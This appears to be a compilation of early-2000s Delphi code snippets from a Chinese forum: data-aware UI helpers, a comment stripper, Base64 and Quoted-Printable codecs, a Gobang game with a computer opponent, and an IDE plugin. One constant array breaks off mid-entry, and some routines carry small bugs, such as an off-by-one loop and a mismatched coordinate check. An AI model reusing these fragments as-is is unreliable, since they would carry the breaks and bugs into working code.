vStringList.Add(FieldByName(FieldDefs[I].Name).AsString);

vTemp := vStringList.Text;

Next;

pZsDataToTreeNode(vArrayTreeNode, 0, vTemp);

vArrayTreeNode := nil;

end else begin

pZsDataToTreeNode(vArrayTreeNode, Succ(mIndex), vTemp);

end;

end;

end;

begin

vStringList := TStringList.Create;

mTreeView.Items.Clear;

vFieldCount := mDataSet.FieldCount;

mDataSet.First;

pZsDataToTreeNode(nil, 0, '');

vStringList.Free;

end; { ZsDataSetToTreeView }

////////放在TForm1.ComboBox1KeyUp用

function ZsComboBoxVisualInput(mComboBox: TComboBox;

mCase: Boolean = True): Boolean; { ComboBox可视化输入 }

var

I, T: Integer;

begin

Result := False;

if Assigned(mComboBox) then

with mComboBox do for I := 0 to (Items.Count) do

if (Pos(Text, Items[I]) = 1) and (Text <> Items[I]) then

begin

T := Length(Text);

Text := Items[I];

SelStart := T;

SelLength := Length(Items[I]) - T;

Result := True;

Break;

end

else if not (mCase) and (Pos(UpperCase(Text), UpperCase(Items[I])) = 1) and

(UpperCase(Text) <> UpperCase(Items[I])) then

begin

T := Length(Text);

Text := Items[I];

SelStart := T;

SelLength := Length(Items[I]) - T;

Result := True;

Break;

end

end; { ZsComboBoxVisualInput }

///////比如:VariantToText(Table1['Field1;Field2']);

function VariantToText(mVariant: Variant; mDivision: string = ','): string; { 将变体类型转换成文本返回 }

var

vVarType: Integer;

vVarLow: Integer;

vVarHigh: Integer;

I: Integer;

begin

Result := '';

vVarType := VarType(mVariant);

case vVarType of

varSmallint .. varString: AppendStr(Result, mDivision + VarToStr(mVariant));

else if vVarType and (varArray or varVariant) <> 0 then

begin

vVarLow := VarArrayLowBound(mVariant, VarArrayDimCount(mVariant));

vVarHigh := VarArrayHighBound(mVariant, VarArrayDimCount(mVariant));

for I := vVarLow to vVarHigh do

AppendStr(Result, mDivision + VariantToText(mVariant[I]));

end else AppendStr(Result, mDivision + VarToStr(mVariant));

end;

Delete(Result, 1, Length(mDivision));

end; { VariantToText }

///////没有什么好说的

function TextToVariant(mText: string; mDivision: string = ','): Variant; { VariantToText反函数 }

var

vLeft, vRight: string;

I, L, T, vCount: Integer;

begin

Result := Null;

vCount := 0;

vRight := mText;

I := Pos(mDivision, vRight);

L := Length(mDivision);

T := Length(mText);

while I > 0 do begin

vLeft := Copy(vRight, 1, I - 1);

vRight := Copy(vRight, I + L, T);

I := Pos(mDivision, vRight);

Inc(vCount);

end;

if vRight <> '' then Inc(vCount);

case vCount of

0: ;

1: Result := mText;

else

Result := VarArrayCreate([0, Pred(vCount)], varVariant);

vRight := mText;

I := Pos(mDivision, vRight);

vCount := 0;

while I > 0 do begin

vLeft := Copy(vRight, 1, I - 1);

vRight := Copy(vRight, I + L, T);

Result[vCount] := vLeft;

I := Pos(mDivision, vRight);

Inc(vCount);

end;

if vRight <> '' then Result[vCount] := vRight;

end;

end; { TextToVariant }


去掉代码中的注释
去掉代码中的注释：

type

TModalStr = record

rBegin: string;

rEnd: string;

rAppend: string;

rSingle: Byte;

end;

const

cPascalCount = 5;

cPascalList: array[0 .. Pred(cPascalCount)] of TModalStr =

(

(rBegin: ''''; rEnd: ''''; rAppend: ''; rSingle: 1),

(rBegin: '{$'; rEnd: '}'; rAppend: ''; rSingle: 2),

(rBegin: '{'; rEnd: '}'; rAppend: ''; rSingle: 3),

(rBegin: '(*'; rEnd: '*)'; rAppend: ''; rSingle: 4),

(rBegin: '//'; rEnd: #13#10; rAppend: #13#10; rSingle: 5)

);

const

cSQLCount = 4;

cSQLList: array[0 .. Pred(cSQLCount)] of TModalStr =

(

(rBegin: ''''; rEnd: ''''; rAppend: ''; rSingle: 1),

(rBegin: '"'; rEnd: '"'; rAppend: ''; rSingle: 2),

(rBegin: '/*'; rEnd: '*/'; rAppend: ''; rSingle: 3),

(rBegin: '--'; rEnd: #13#10; rAppend: #13#10; rSingle: 4)

);

function GetModalStr(mStr: string; mModalStrList: array of TModalStr;

mSingles: TIntegerSet): string;

var

vSingle: Integer;

I, J: Integer;

T, K: Integer;

vEnd: string;

vAppend: string;

begin

Result := '';

vSingle := 0;

T := 0;

K := 0;

for I := 1 to Length(mStr) do begin

if T > 1 then begin

Dec(T);

Continue;

end;

if vSingle = 0 then begin

vEnd := '';

for J := Low(mModalStrList) to High(mModalStrList) do begin

K := Length(mModalStrList[J].rBegin);

if Copy(mStr, I, K) = mModalStrList[J].rBegin then begin

vEnd := mModalStrList[J].rEnd;

vAppend := mModalStrList[J].rAppend;

vSingle := mModalStrList[J].rSingle;

if vSingle in mSingles then

Result := Result + mModalStrList[J].rBegin;

T := K;

K := Length(vEnd);

Break;

end;

end;

if (vEnd = '') and (vSingle in mSingles) then

Result := Result + mStr[I];

end else if Copy(mStr, I, K) = vEnd then begin

if vSingle in mSingles then

Result := Result + vEnd

else Result := Result + vAppend;

vSingle := 0;

T := K;

end else if vSingle in mSingles then

Result := Result + mStr[I];

end;

end; { GetModalStr }

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo2.Text := GetModalStr(Memo1.Text, cPascalList, [0..cPascalCount] - [3, 4, 5]);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Memo2.Text := GetModalStr(Memo1.Text, cSQLList, [0..cSQLCount] - [3, 4]);

end;


建议收录
回复人：　zswang(伴水)(被黑中)　(2001-12-12 22:46:10) 得0分

//建议收录

function StringGridToString(mStringGrid: TStringGrid): string;

var

I, J: Integer;

T: string;

begin

Result := '';

for J := 0 to mStringGrid.RowCount - 1 do begin

T := '';

for I := 0 to mStringGrid.ColCount - 1 do

T := T + #9 + mStringGrid.Cells[I, J];

Delete(T, 1, 1);

Result := Result + T + #13#10;

end;

end; { StringGridToString }

procedure StringToStringGrid(mStr: string; mStringGrid: TStringGrid);

var

I, J: Integer;

T: string;

begin

with TStringList.Create do try

Text := mStr;

for I := 0 to mStringGrid.ColCount - 1 do begin

T := '';

for J := 0 to Min(mStringGrid.RowCount - 1, Count - 1) do

mStringGrid.Cells[I, J] := ListValue(Strings[J], I, #9);

end;

finally

Free;

end;

end; { StringToStringGrid }

uses

Math;

function QuotedPrintableEncode(mSource: string): string;

var

I, J: Integer;

begin

Result := '';

J := 0;

for I := 1 to Length(mSource) do begin

if mSource[I] in [#32..#127, #13, #10] - ['='] then begin

Result := Result + mSource[I];

Inc(J);

end else begin

Result := Result + '=' + IntToHex(Ord(mSource[I]), 2);

Inc(J, 3);

end;

if mSource[I] in [#13, #10] then J := 0;

if J >= 70 then begin

Result := Result + #13#10;

J := 0;

end;

end;

end; { QuotedPrintableEncode }

function QuotedPrintableDecode(mCode: string): string;

var

I, J, L: Integer;

begin

Result := '';

J := 0;

L := Length(mCode);

I := 1;

while I <= L do begin

if mCode[I] = '=' then begin

Result := Result + Chr(StrToIntDef('$' + Copy(mCode, I + 1, 2), 0));

Inc(J, 3);

Inc(I, 3);

end else if mCode[I] in [#13, #10] then begin

if J < 72 then Result := Result + mCode[I];

if mCode[I] = #10 then J := 0;

Inc(I);

end else begin

Result := Result + mCode[I];

Inc(J);

Inc(I);

end;

end;

end; { QuotedPrintableDecode }

const

cScaleChar = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

function IntToDigit(mNumber: Integer; mScale: Byte; mLength: Integer = 0): string;

var

I, J: Integer;

begin

Result := '';

I := mNumber;

while (I >= mScale) and (mScale > 1) do begin

J := I mod mScale;

I := I div mScale;

Result := cScaleChar[J + 1] + Result;

end;

Result := cScaleChar[I + 1] + Result;

if mLength > 0 then

for I := 1 to mLength - Length(Result) do

Result := '0' + Result;

end; { IntToDigit }

function DigitToInt(mDigit: string; mScale: Byte): Integer;

var

I: Byte;

L: Integer;

begin

Result := 0;

L := Length(mDigit);

for I := 1 to L do

Result := Result + (Pos(mDigit[L - I + 1], cScaleChar) - 1) *

Trunc(IntPower(mScale, I - 1));

end; { DigitToInt }

const

cBase64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function Base64Encode(mSource: string; mAddLine: Boolean = True): string;

var

I, J: Integer;

S: string;

T: string;

begin

Result := '';

J := 0;

for I := 0 to Length(mSource) div 3 - 1 do begin

S := Copy(mSource, I * 3 + 1, 3);

T := IntToDigit(Ord(S[1]), 2, 8) + IntToDigit(Ord(S[2]), 2, 8) + IntToDigit(Ord(S[3]), 2, 8);

Result := Result + cBase64[DigitToInt(Copy(T, 01, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 07, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 13, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 19, 6), 2) + 1];

if mAddLine then begin

Inc(J, 4);

if J >= 76 then begin

Result := Result + #13#10;

J := 0;

end;

end;

end;

I := Length(mSource) div 3;

S := Copy(mSource, I * 3 + 1, 3);

case Length(S) of

1: begin

T := IntToDigit(Ord(S[1]), 2, 8) + '0000';

Result := Result + cBase64[DigitToInt(Copy(T, 01, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 07, 6), 2) + 1];

Result := Result + '=';

Result := Result + '=';

end;

2: begin

T := IntToDigit(Ord(S[1]), 2, 8) + IntToDigit(Ord(S[2]), 2, 8) + '0000';

Result := Result + cBase64[DigitToInt(Copy(T, 01, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 07, 6), 2) + 1];

Result := Result + cBase64[DigitToInt(Copy(T, 13, 6), 2) + 1];

Result := Result + '=';

end;

end;

end;

function StringToSysCharSet(mStr: string): TSysCharSet;

var

I: Integer;

begin

Result := [];

for I := 1 to Length(mStr) do

Include(Result, mStr[I]);

end; { StringToSysCharSet }

function Base64Decode(mCode: string): string;

var

I, L: Integer;

S: string;

T: string;

begin

Result := '';

L := Length(mCode);

I := 1;

while I <= L do begin

if Pos(mCode[I], cBase64) > 0 then begin

S := Copy(mCode, I, 4);

if (Length(S) = 4) then begin

T := IntToDigit(Pos(S[1], cBase64) - 1, 2, 6) +

IntToDigit(Pos(S[2], cBase64) - 1, 2, 6) +

IntToDigit(Pos(S[3], cBase64) - 1, 2, 6) +

IntToDigit(Pos(S[4], cBase64) - 1, 2, 6);

Result := Result + Chr(DigitToInt(Copy(T, 01, 8), 2));

if S[3] <> '=' then begin

Result := Result + Chr(DigitToInt(Copy(T, 09, 8), 2));

if S[4] <> '=' then

Result := Result + Chr(DigitToInt(Copy(T, 17, 8), 2));

end;

end;

Inc(I, 4);

end else Inc(I);

end;

end; { Base64Decode }

回复人：　zswang(伴水)(被黑中)　(2001-12-12 22:50:52) 得0分

//再建议收录

http://www.csdn.net/expert/topic/384/384138.shtm

const

cCharCn: array[#32 .. #126] of string[2] =

(

{ }'　',{!}'！',{"}'＂',{#}'＃',{ }'＄',{%}'％',{&}'＆',{'}'＇',{(}'（',

{)}'）',{*}'＊',{+}'＋',{,}'，',{-}'－',{.}'。',{/}'／',{0}'０',{1}'１',

{2}'２',{3}'３',{4}'４',{5}'５',{6}'６',{7}'７',{8}'８',{9}'９',{:}'：',

{;}'；',{<}'＜',{=}'＝',{>}'＞',{?}'？',{@}'＠',{A}'Ａ',{B}'Ｂ',{C}'Ｃ',

{D}'Ｄ',{E}'Ｅ',{F}'Ｆ',{G}'Ｇ',{H}'Ｈ',{I}'Ｉ',{J}'Ｊ',{K}'Ｋ',{L}'Ｌ',

{M}'Ｍ',{N}'Ｎ',{O}'Ｏ',{P}'Ｐ',{Q}'Ｑ',{R}'Ｒ',{S}'Ｓ',{T}'Ｔ',{U}'Ｕ',

{V}'Ｖ',{W}'Ｗ',{X}'Ｘ',{Y}'Ｙ',{Z}'Ｚ',{[}'［',{\


五子棋
//GobangUnit.pas

//mailto:wjhu111@21cn.com

//for Delphi6

unit GobangUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, FuncUnit, ExtCtrls, StdCtrls, Buttons, ComCtrls;

const

cSignInt: array[Boolean] of Integer = (-1, +1);

const

cMapImageCount = 22;

cMapImageList: array[0 .. Pred(cMapImageCount)] of string =

(

{00}'●', {01}'○', {02}'┌', {03}'┬', {04}'┐',

{05}'├', {06}'┼', {07}'┤', {08}'└', {09}'┴',

{10}'┘', {11}'★', {12}'☆', {13}'┏', {14}'┳',

{15}'┓', {16}'┣', {17}'╋', {18}'┫', {19}'┗',

{20}'┻', {21}'┛'

);

cMapCol = 17;

cMapRow = 17;

const

cMoveTide: array[1 .. 4] of TPoint =

(

{1}(X: 00; Y: +1), //'|'

{2}(X: +1; Y: +1), //'/'

{3}(X: +1; Y: 00), //'-'

{4}(X: +1; Y: -1) //'

);

type

TFormGobang = class(TForm)

ImageGobang: TImage;

BitBtnPlay: TBitBtn;

CheckBoxComputer: TCheckBox;

StatusBarGobang: TStatusBar;

procedure FormCreate(Sender: TObject);

procedure ImageGobangMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure ImageGobangMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

procedure BitBtnPlayClick(Sender: TObject);

private

{ Private declarations }

FCurrCol, FCurrRow: Integer; //当前下子坐标

FMouseCol, FMouseRow: Integer; //当前鼠标坐标

FPointList: array[1 .. cMapCol, 1 .. cMapRow] of Integer; //棋盘参数

FCalcParas: array[Boolean, 1 .. 4, 1 .. cMapCol, 1 .. cMapRow] of Integer; //攻防指数

FChessman: Boolean; //下棋方

FMaxParas: Integer; //最佳综合数

FMaxCount: Integer; //最佳综合值

FStepIndex: Integer; //当前步数

FTextHeight: Integer; //字体高度

FTextWidth: Integer; //字体宽度

FAttackMaxCount: array[Boolean] of Integer; //最佳进攻数

FAttackMaxParas: array[Boolean] of Integer; //最佳进攻值

FSumParas: array[1 .. cMapCol, 1 .. cMapRow] of Integer; //综合指数

public

{ Public declarations }

procedure DrawMap; //画棋盘棋子

procedure InitMap; //初始化棋盘棋子

procedure Chessed(X, Y: Integer); //下子

procedure CalcParas; //计算指数

procedure Decide; //电脑下棋

end;

var

FormGobang: TFormGobang;

implementation

{$R *.dfm}

{ TFormGobang }

procedure TFormGobang.CalcParas;

var

I, J, K, T: Integer;

X, Y: Integer;

B, L, W, P: Boolean;

vValue: Integer;

A: array[Boolean] of Integer;

begin

FMaxParas := 0;

FMaxCount := 0;

FAttackMaxCount[False] := 0;

FAttackMaxCount[True] := 0;

FAttackMaxParas[False] := 0;

FAttackMaxParas[True] := 0;

for I := 1 to cMapCol do

for J := 1 to cMapRow do begin

FSumParas[I, J] := 0;

for B := False to True do

for K := 1 to 4 do begin

vValue := 0;

if FPointList[I, J] = -cSignInt[B] then begin

FCalcParas[B, K, I, J] := -1;

Continue;

end else if FPointList[I, J] = cSignInt[B] then begin

FCalcParas[B, K, I, J] := -2;

Continue;

end;

for L := False to True do begin

X := I;

Y := J;

T := 0;

A[L] := 0;

W := True;

P := True;

while T < 4 do begin

Inc(X, cMoveTide[K].x * cSignInt[L]);

Inc(Y, cMoveTide[K].y * cSignInt[L]);

if (X < 1) or (X > cMapCol) then Break;

if (Y < 1) or (Y > cMapRow) then Break;

if FPointList[X, Y] = -cSignInt[B] then Break;

if W and (FPointList[X, Y] = cSignInt[B]) then

Inc(vValue, 100)

else W := False;

if not W and P and (FPointList[X, Y] = 0) then

Inc(A[L], 10)

else P := False;

Inc(vValue);

Inc(T);

end;

end;

if not(0 in [A[False], A[True]]) then

vValue := vValue + A[False] + A[True];

if vValue > 500 then vValue := 0;

if (vValue mod 10) < 4 then vValue := 0;

FCalcParas[B, K, I, J] := vValue;

FSumParas[I, J] := FSumParas[I, J] + vValue;

if FAttackMaxParas[B] < FCalcParas[B, K, I, J] then begin

FAttackMaxParas[B] := FCalcParas[B, K, I, J];

FAttackMaxCount[B] := 1;

end else if FAttackMaxParas[B] = FCalcParas[B, K, I, J] then

Inc(FAttackMaxCount[B]);

end;

if FMaxParas < FSumParas[I, J] then begin

FMaxParas := FSumParas[I, J];

FMaxCount := 1;

end else if FMaxParas = FSumParas[I, J] then

Inc(FMaxCount);

end;

end;

procedure TFormGobang.Chessed(X, Y: Integer);

var

K, T, I, J, vValue: Integer;

L: Boolean;

begin

FCurrCol := X;

FCurrRow := Y;

FPointList[FCurrCol, FCurrRow] := cSignInt[FChessman];

Inc(FStepIndex);

for K := 1 to 4 do

if FCalcParas[FChessman, K, X, Y] >= 400 then begin

vValue := 1;

for L := False to True do begin

T := 0;

I := X;

J := Y;

while T < 4 do begin

Inc(I, cMoveTide[K].x * cSignInt[L]);

Inc(J, cMoveTide[K].y * cSignInt[L]);

if (I < 1) or (I > cMapCol) then Break;

if (J < 1) or (J > cMapRow) then Break;

if FPointList[I, J] <> cSignInt[FChessman] then Break;

Inc(vValue);

Inc(T);

end;

end;

if vValue = 5 then begin

FChessman := not FChessman;

DrawMap;

MessageDlg(Format('%s胜利', [cMapImageList[

Integer(Iif(FChessman, 1, 0))]]), mtInformation, [mbOk], 0);

ImageGobang.Enabled := False;

Exit;

end;

end;

FChessman := not FChessman;

DrawMap;

CalcParas;

if CheckBoxComputer.Checked and FChessman then Decide;

end;

procedure TFormGobang.DrawMap;

var

I, J, vImageIndex: Integer;

vMapText: string;

begin

vMapText := '';

for J := 1 to cMapRow do begin

for I := 1 to cMapCol do begin

if FPointList[I, J] <> 0 then

if (I = FCurrCol) and (J = FCurrRow )then

vImageIndex := Iif(FChessman, 12, 11)

else if FPointList[I, J] = 1 then

vImageIndex := 0

else vImageIndex := 1

else if I = 1 then

if J = 1 then

vImageIndex := 2

else if J = cMapRow then

vImageIndex := 8

else vImageIndex := 5

else if I = cMapCol then

if J = 1 then

vImageIndex := 4

else if J = cMapRow then

vImageIndex := 10

else vImageIndex := 7

else if J = 1 then

vImageIndex := 3

else if J = cMapRow then

vImageIndex := 9

else vImageIndex := 6;

if (I = FMouseCol) and (J = FMouseRow) and (vImageIndex in [2..10]) then

Inc(vImageIndex, 11);

vMapText := vMapText + cMapImageList[vImageIndex];

end;

vMapText := vMapText + #13#10;

end;

TextToCanvas(vMapText, ImageGobang.Canvas, Point(0, 0));

end;

procedure TFormGobang.InitMap;

begin

FStepIndex := 0;

FillChar(FPointList, SizeOf(FPointList), 0);

CalcParas;

end;

procedure TFormGobang.FormCreate(Sender: TObject);

begin

ImageGobang.Canvas.Font.Name := '宋体';

ImageGobang.Canvas.Font.Size := 19;

FTextHeight := ImageGobang.Canvas.TextHeight('你');

FTextWidth := ImageGobang.Canvas.TextWidth('好');

DoubleBuffered := True;

FChessman := False;

ImageGobang.Width := cMapCol * FTextWidth;

ImageGobang.Height := cMapRow * FTextHeight;

InitMap;

DrawMap;

end;

procedure TFormGobang.ImageGobangMouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

var

vCol, vRow: Integer;

begin

if Button = mbRight then Exit;

vCol := X div FTextWidth + 1;

vRow := Y div FTextHeight + 1;

if (vCol < 1) or (vCol > cMapCol) then Exit;

if (vRow < 1) or (vRow > cMapRow) then Exit;

if FPointList[vCol, vRow] <> 0 then begin

Beep;

Exit;

end;

Chessed(vCol, vRow);

end;

procedure TFormGobang.ImageGobangMouseMove(Sender: TObject;

Shift: TShiftState; X, Y: Integer);

var

vCol, vRow: Integer;

begin

vCol := X div FTextWidth + 1;

vRow := Y div FTextHeight + 1;

if (vCol < 1) or (vCol > cMapCol) then Exit;

if (vRow < 1) or (vRow > cMapRow) then Exit;

if (vRow = FMouseRow) and (vRow = FMouseCol) then Exit;

FMouseRow := vRow;

FMouseCol := vCol;

DrawMap;

StatusBarGobang.SimpleText :=

Format('X:%.2d, Y:%.2d, S:%.2d', [vCol, vRow, FStepIndex]);

end;

procedure TFormGobang.Decide;

var

I, J, K, T, M: Integer;

begin

if (FAttackMaxParas[not FChessman] >= FAttackMaxParas[FChessman]) and

(FAttackMaxParas[FChessman] < 400) then begin

///////Begin 考虑防御指数

M := 0;

T := Random(FAttackMaxCount[not FChessman]);

for J := 1 to cMapRow do

for I := 1 to cMapCol do

for K := 1 to 4 do

if FAttackMaxParas[not FChessman] <=

FCalcParas[not FChessman, K, I, J] then

if M >= T then

begin

Chessed(I, J);

Exit;

end else Inc(M);

///////End 考虑防御指数

end else if (FAttackMaxParas[FChessman] > 310)

or (FAttackMaxParas[FChessman] >= FAttackMaxParas[not FChessman])

or (FAttackMaxParas[not FChessman] < 210) then begin

///////Begin 考虑进攻指数

M := 0;

T := Random(FAttackMaxCount[FChessman]);

for J := 1 to cMapRow do

for I := 1 to cMapCol do

for K := 1 to 4 do

if FAttackMaxParas[FChessman] <=

FCalcParas[FChessman, K, I, J] then

if M >= T then

begin

Chessed(I, J);

Exit;

end else Inc(M);

///////End 考虑进攻指数

end else begin

///////Begin 考虑综合指数

M := 0;

T := Random(FMaxCount);

for J := 1 to cMapRow do

for I := 1 to cMapCol do

if FMaxParas = FSumParas[I, J] then

if M >= T then

begin

Chessed(I, J);

Exit;

end else Inc(M);

///////End 考虑综合指数

end;

end;

procedure TFormGobang.BitBtnPlayClick(Sender: TObject);

begin

ImageGobang.Enabled := True;

InitMap;

DrawMap;

if CheckBoxComputer.Checked and FChessman then Decide;

end;

end.

//GobangUnit.dfm

object FormGobang: TFormGobang

Left = 178

Top = 27

Width = 451

Height = 504

Caption = 'FormGobang'

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

OnCreate = FormCreate

PixelsPerInch = 96

TextHeight = 13

object ImageGobang: TImage

Left = 8

Top = 24

Width = 425

Height = 426

OnMouseDown = ImageGobangMouseDown

OnMouseMove = ImageGobangMouseMove

end

object BitBtnPlay: TBitBtn

Left = 115

Top = 2

Width = 75

Height = 20

Caption = 'Play'

TabOrder = 0

OnClick = BitBtnPlayClick

end

object CheckBoxComputer: TCheckBox

Left = 8

Top = 0

Width = 97

Height = 17

Caption = 'Computer'

Checked = True

State = cbChecked

TabOrder = 1

end

object StatusBarGobang: TStatusBar

Left = 0

Top = 458

Width = 443

Height = 19

Panels = <>

SimplePanel = True

end

end

//FuncUnit.pas

unit FuncUnit;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs;

function Iif(mBool: Boolean; mDataA: Variant; mDataB: Variant): Variant;

procedure TextToCanvas(mText: string; mCanvas: TCanvas; mMove: TPoint);

implementation

function Iif(mBool: Boolean; mDataA: Variant; mDataB: Variant): Variant;

begin

if mBool then

Result := mDataA

else Result := mDataB;

end; { Iif }

procedure TextToCanvas(mText: string; mCanvas: TCanvas; mMove: TPoint);

var

I: Integer;

vTextHeight: Integer;

begin

with TStringList.Create do try

Text := mText;

vTextHeight := mCanvas.TextHeight('|');

for I := 0 to Pred(Count) do

mCanvas.TextOut(mMove.X, mMove.Y + vTextHeight * I, Strings[I]);

finally

Free;

end;

end; { TextToCanvas }

end.

//GobangApp.dpr

program GobangApp;

uses

Forms,

GobangUnit in 'GobangUnit.pas' {FormGobang},

FuncUnit in 'FuncUnit.pas';

{$R *.res}

begin

Application.Initialize;

Application.CreateForm(TFormGobang, FormGobang);

Application.Run;

end.


控制IDE//zswang
示例:

添加Delphi菜单

获取代码编辑器文本

设置代码编辑器文本

语法高亮度为RTF格式

//DelphiExptLib.dpr

//mailto:wjhu111@21cn.com

//output directory=$(Delphi)

//search path=$(Delphi)

library DelphiExptLib;

uses

ExptIntf,

ToolIntf,

SysUtils,

Classes,

Dialogs,

Menus,

Forms,

DelphiExptUnit in 'DelphiExptUnit.pas' {FormDelphiExpt},

FuncUnit in 'FuncUnit.pas',

HighlightUnit in 'HighlightUnit.pas';

const

cMenuItemCaption = '&Zswang';

cMenuItemName = 'ZswangMenu';

cMenuItemHint = 'Control IDE';

type

TDelphiExpt = class(TComponent)

FFormDelphiExpt: TFormDelphiExpt;

procedure IMenuClickEvent(Sender: TIMenuItemIntf);

end;

{ TDelphiExpt }

procedure TDelphiExpt.IMenuClickEvent(Sender: TIMenuItemIntf);

begin

if not Assigned(FFormDelphiExpt) then

FFormDelphiExpt := TFormDelphiExpt.Create(Self);

FFormDelphiExpt.Show;

end;

var

vDelphiExpt: TDelphiExpt;

function InitExpert(ToolServices: TIToolServices;

RegisterProc: TExpertRegisterProc;

var Terminate: TExpertTerminateProc): Boolean; export; stdcall;

var

vIMainMenuIntf: TIMainMenuIntf;

vIMenuItemIntf: TIMenuItemIntf;

begin

Result := False;

ExptIntf.ToolServices := ToolServices;

Application.Handle := ToolServices.GetParentHandle;

if not Assigned(ToolServices) then Exit;

vIMainMenuIntf := ToolServices.GetMainMenu;

if not Assigned(vIMainMenuIntf) then Exit;

vIMenuItemIntf := vIMainMenuIntf.FindMenuItem('ToolsMenu');

vIMainMenuIntf.Free;

if not Assigned(vIMenuItemIntf) then Exit;

vDelphiExpt := TDelphiExpt.Create(Application);

vIMenuItemIntf.InsertItem(0, cMenuItemCaption, cMenuItemName,

cMenuItemHint, TextToShortCut('Ctrl+D'), 1, 2,

[mfInvalid, mfEnabled, mfVisible],

vDelphiExpt.IMenuClickEvent);

vIMenuItemIntf.Free;

Result := True;

end;

exports

InitExpert name ExpertEntryPoint;

end.

//DelphiExptUnit.pas

unit DelphiExptUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, Buttons, ExtCtrls, FuncUnit, ExptIntf, EditIntf,

ComCtrls;

type

TFormDelphiExpt = class(TForm)

PanelButton: TPanel;

BitBtnGetText: TBitBtn;

BitBtnSetText: TBitBtn;

BitBtnClose: TBitBtn;

RichEditNote: TRichEdit;

BitBtnRTF: TBitBtn;

procedure PanelButtonResize(Sender: TObject);

procedure BitBtnGetTextClick(Sender: TObject);

procedure BitBtnSetTextClick(Sender: TObject);

procedure BitBtnCloseClick(Sender: TObject);

procedure BitBtnRTFClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

FVersion: string;

public

{ Public declarations }

end;

//var//

// FormDelphiExpt: TFormDelphiExpt;//

implementation

uses HighlightUnit;

{$R *.dfm}

procedure TFormDelphiExpt.PanelButtonResize(Sender: TObject);

begin

WinControlButton(TWinControl(Sender), 55, 20, 2);

end;

procedure TFormDelphiExpt.BitBtnGetTextClick(Sender: TObject);

var

vIModuleInterface: TIModuleInterface;

vIEditorInterface: TIEditorInterface;

begin

vIModuleInterface := ToolServices.GetModuleInterface(ToolServices.GetCurrentFile);

if not Assigned(vIModuleInterface) then Exit;

vIEditorInterface := vIModuleInterface.GetEditorInterface;

if not Assigned(vIEditorInterface) then Exit;

RichEditNote.Text := EditGetText(vIEditorInterface);

vIModuleInterface.Free;

vIEditorInterface.Free;

end;

procedure TFormDelphiExpt.BitBtnSetTextClick(Sender: TObject);

var

vIModuleInterface: TIModuleInterface;

vIEditorInterface: TIEditorInterface;

begin

vIModuleInterface := ToolServices.GetModuleInterface(ToolServices.GetCurrentFile);

if not Assigned(vIModuleInterface) then Exit;

vIEditorInterface := vIModuleInterface.GetEditorInterface;

if not Assigned(vIEditorInterface) then Exit;

EditSetText(vIEditorInterface, RichEditNote.Text);

vIModuleInterface.Free;

vIEditorInterface.Free;

end;

procedure TFormDelphiExpt.BitBtnCloseClick(Sender: TObject);

begin

Close;

end;

procedure TFormDelphiExpt.BitBtnRTFClick(Sender: TObject);

var

vIModuleInterface: TIModuleInterface;

vIEditorInterface: TIEditorInterface;

vIEditView: TIEditView;

vElement, vLineFlag: Integer;

vCol: Integer;

vLine: Longint;

vEdPos: TEditPos;

S: string;

begin

vIModuleInterface := ToolServices.GetModuleInterface(ToolServices.GetCurrentFile);

if not Assigned(vIModuleInterface) then Exit;

vIEditorInterface := vIModuleInterface.GetEditorInterface;

if not Assigned(vIEditorInterface) then Exit;

RichEditNote.Clear;

RichEditNote.Text := EditGetText(vIEditorInterface);

vIEditView := vIEditorInterface.GetView(0);

for vLine := 1 to vIEditorInterface.LinesInBuffer do begin

S := EditGetLine(vIEditorInterface, vLine, vLine);

for vCol := 1 to Length(S) do begin

vEdPos.Col := vCol;

vEdPos.Line := vLine;

vIEditView.GetAttributeAtPos(vEdPos, vElement, vLineFlag);

if not (vElement in [0..14]) then Continue;

case ByteType(S, vCol) of

mbSingleByte: begin

RichEditNote.CaretPos := Point(vCol - 1, vLine - 1);

RichEditNote.SelLength := 1;

with THighlight.Create(FVersion, vElement) do try

AssignTo(RichEditNote.SelAttributes);

finally

Free;

end;

end;

mbLeadByte: begin

RichEditNote.CaretPos := Point(vCol - 1, vLine - 1);

RichEditNote.SelLength := 2;

with THighlight.Create(FVersion, vElement) do try

AssignTo(RichEditNote.SelAttributes);

finally

Free;

end;

end;

end;

end;

end;

vIEditView.Free;

vIModuleInterface.Free;

vIEditorInterface.Free;

end;

procedure TFormDelphiExpt.FormCreate(Sender: TObject);

begin

if Pos('DELPHI4', UpperCase(ParamStr(0))) > 0 then

FVersion := '4.0'

else if Pos('DELPHI5', UpperCase(ParamStr(0))) > 0 then

FVersion := '5.0'

else if Pos('DELPHI6', UpperCase(ParamStr(0))) > 0 then

FVersion := '6.0'

else if Pos('DELPHI7', UpperCase(ParamStr(0))) > 0 then

FVersion := '7.0'

else FVersion := InputBox('Key', 'Input', '6.0');

end;

end.

//DelphiExptUnit.dfm

object FormDelphiExpt: TFormDelphiExpt

Left = 222

Top = 185

Width = 291

Height = 262

BorderStyle = bsSizeToolWin

Caption = 'FormDelphiExpt'

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

OnCreate = FormCreate

PixelsPerInch = 96

TextHeight = 13

object PanelButton: TPanel

